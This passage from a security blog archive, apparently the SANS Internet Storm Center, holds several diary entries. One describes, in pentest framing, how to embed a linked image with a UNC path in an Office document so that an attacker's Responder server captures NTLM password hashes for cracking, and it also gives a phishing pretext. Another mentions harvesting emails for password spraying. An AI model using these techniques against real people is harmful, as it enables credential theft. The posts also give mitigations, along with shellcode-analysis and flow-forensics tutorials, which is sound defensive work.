Nmap scan report for isc.sans.org (204.51.94.153)
| Not valid after:  2018-11-07T22:22:01
Nmap scan report for www.giac.org (204.51.94.204)
| Not valid after:  2019-10-25T23:59:59
Nmap scan report for www.sans.org (45.60.103.34)
| Not valid after:  2019-05-31T12:28:05

What other uses does theharvester have?  If you are pentesting a client, it makes a nice collection engine to "find" internet-facing customer assets that maybe they didn't know they have, or maybe aren't protecting as well as they should (dev servers, every time).  It also makes a nice "quick and dirty" tool to collect a baseline of email addresses for things like password spray attacks.

===============
Rob VandenBrink
Compugen

0 Comments

Published: 2018-09-04

Let's Trade: You Read My Email, I'll Read Your Password!

It's been a while, but my last few posts have been on password spraying, which is great approach if your customer has an userid / password interface that faces the internet.  I also ran a walk-through on using responder and LLMNR.
But what if you are on the outside, and your customer is wise enough to front all of those interfaces with two-factor authentication, or mutual certificate authentication?  

A common approach is to use a "callback" in an office document (or similar).  Place a link in a document, something like a tiny image (even 1x1 pixel) image that points to a UNC path, to a share and file on your (evil) server.  

When a victim running Windows opens the file, the credentials and file hash are sent to your link.  If you can capture that, say for instance if you are running Responder, you now have their userid and password hash.  The password hash is normally quickly cracked using tools like hashcat or john the ripper.

How do you place a link like this?  In MS Word for instance:

  • Insert / Picture - point the link to  \\ip.of.your.evil.server\share\filename
  • This file does need to exist in curent versions of word - I tend to just change my laptop's IP temporarily for this step
  • Resize this file so that it's small enough to be missed as the client looks at the document.
  • Be sure to choose "insert and link" - this will force the graphic to update when you open the file.

 

When your victim / customer opens the file, they'll send their credentials (userid and password hash) to your server.  This shows that information being recveived in Responder:

Yup, it's that easy!  Does it work in Word?  Excel, Powerpoint, Publisher?  Yup, Yup, Yup!  (yup yup)!

How should an organization mitigate against such an attack?  First and foremost, implement an egress filter at any permiter firewalls!  Block outbound tcp/445 with extreme prejudice!  In fact, if you can, permit the protocols that you expect to see from the inside networks to the public internet, and then block everything else. (more on that here: https://isc.sans.edu/forums/diary/Egress+Filtering+What+do+we+have+a+bird+problem/18379/ )

So, how do you use this in a penetration test?  Simply create such a doc, then email it to an "approved victim".  Often I'll email a document to the pentest sponsor for instance - "please verify that this Statement of Work version is correct" makes a nice subject line :-)

All that being said - what does this demonstrate to your customer?  Several things come to mind:

  • After you crack the password hash, this makes a good demonstration of why NOT to use administrative credentials to check email
  • It demonstrates nicely that an egress filter is required
  • It demonstrates that anything protected by just a userid and password is not really well protected at all

===============
Rob VandenBrink
Compugen

7 Comments

Published: 2018-09-03

Another quickie: Using scdbg to analyze shellcode

Jim's diary entry "Quickie: Using radare2 to disassemble shellcode" is a good reminder on how to use radare2. I don't often use radare2, indeed I tend to forget which commands to use exactly.

In this diary entry, I would like to showcase a tool I've used before for diary entries: scdbg. scdbg is a shellcode emulator (for Win32 32-bit shellcode). I helps you quickly analyze what shellcode does, by reporting the Win32 API functions called by the analyzed shellcode. I prefer to use the Windows version of scdbg, even on OSX and Linux (with Wine), because it supports more Win32 API functions.

To start your analysis, just run scdbg with option -f to load the shellcode stored in a file:

From this output, we know that the shellcode:

  • Loads DLL wininet
  • Initializes an HTTP connection with a specific User Agent String
  • Connects to an IP address on port 4444

It's important to understand that this analysis is incomplete. The last line of output (Stepcount 2000001) indicates that scdbg stopped after emulating 2000000 instructions. That is the default. To have scdbg generate more analysis results, provide a higher limit using option -s. Or use -s -1, to work without a limit to the number of emulated instructions:

This produces more output, and stops the emulation when an unsupported function is called (GetDesktopWindow).

scdbg can also produce more verbose output, using option -v (or -vv, -vvv, -vvvv). With option -v, we can see each emulated instruction. I use option -s to limit the output:

This is not a disassembly of the shellcode, it's more like a trace: each emulated instruction is disassembled. You can see this after the second instruction (call), control is passed to address 0x40108F.

To produce a classic disassembly, use option -disasm:

scdbg emulates shellcode, it does not execute it. The shellcode in our example, will not establish an HTTP connection for example.

And the following shellcode, an example of a dropper, does not actually create a file when it is emulated:

Of course, with a dropper, you would like to know what the content of the dropped file is. This can be achieved using option -i:

In this interactive mode, the temporary file is still not created, but another file (with extension .drop_0) is created in the current directory, with the content written by the shellcode:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2018-09-02

Another quickie: Discovering patterns in network traffic with silk

When we perform a forensic analysis in network traffic, in some occasions we do not have major clues about what to look for and it is necessary to deepen the descriptive analysis and profiling of the obtained packages. One way to do this is with network flows, which are packets related to the same flow or connection saved into a single record. Some of the info that can be found in records are the following fields: source IP address, destination IP address, source port, destination port, Internet Control Message Protocol [ICMP] type/code (when appliable), transport protocol, bytes, packets in flow, accumulated TCP flags, start time, duration and end time.

Let's use an example. The following capture is suspected to have inside bittorrent traffic. First step is to convert pcap file intro network flows. We will use the rwp2yaf2silk command:

pcap to silk

One of the most useful criteria to always look for are the top talkers in the network. Let's search based on the number of flow records with rwstats command:

Now let's see the IP address and source port for at least the 10% of the records using the same command:

We have high ports. Let's see communications for at least 512KB:

First transfer is https but second one shows related to a high port and to an IP located into an ISP with no bad reputation, which is consistent to a possible point to point transfer between both IPs. Let's see if any other IP transmitted to port 63448 of 10.0.0.201 (snippet):

Destinations detail

Too many records were returned. Let's count how many are there:

Taking out header, we count 210 IP endpoints. This can be confirmated with rwuniq command:

We can conclude 10.0.0.201 established several point to point transfers with 210 endpoints using source port 63448. 64.187.66.143 provided 3318524 bytes and the remaining 209 ones provided 148751 bytes. 

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name

0 Comments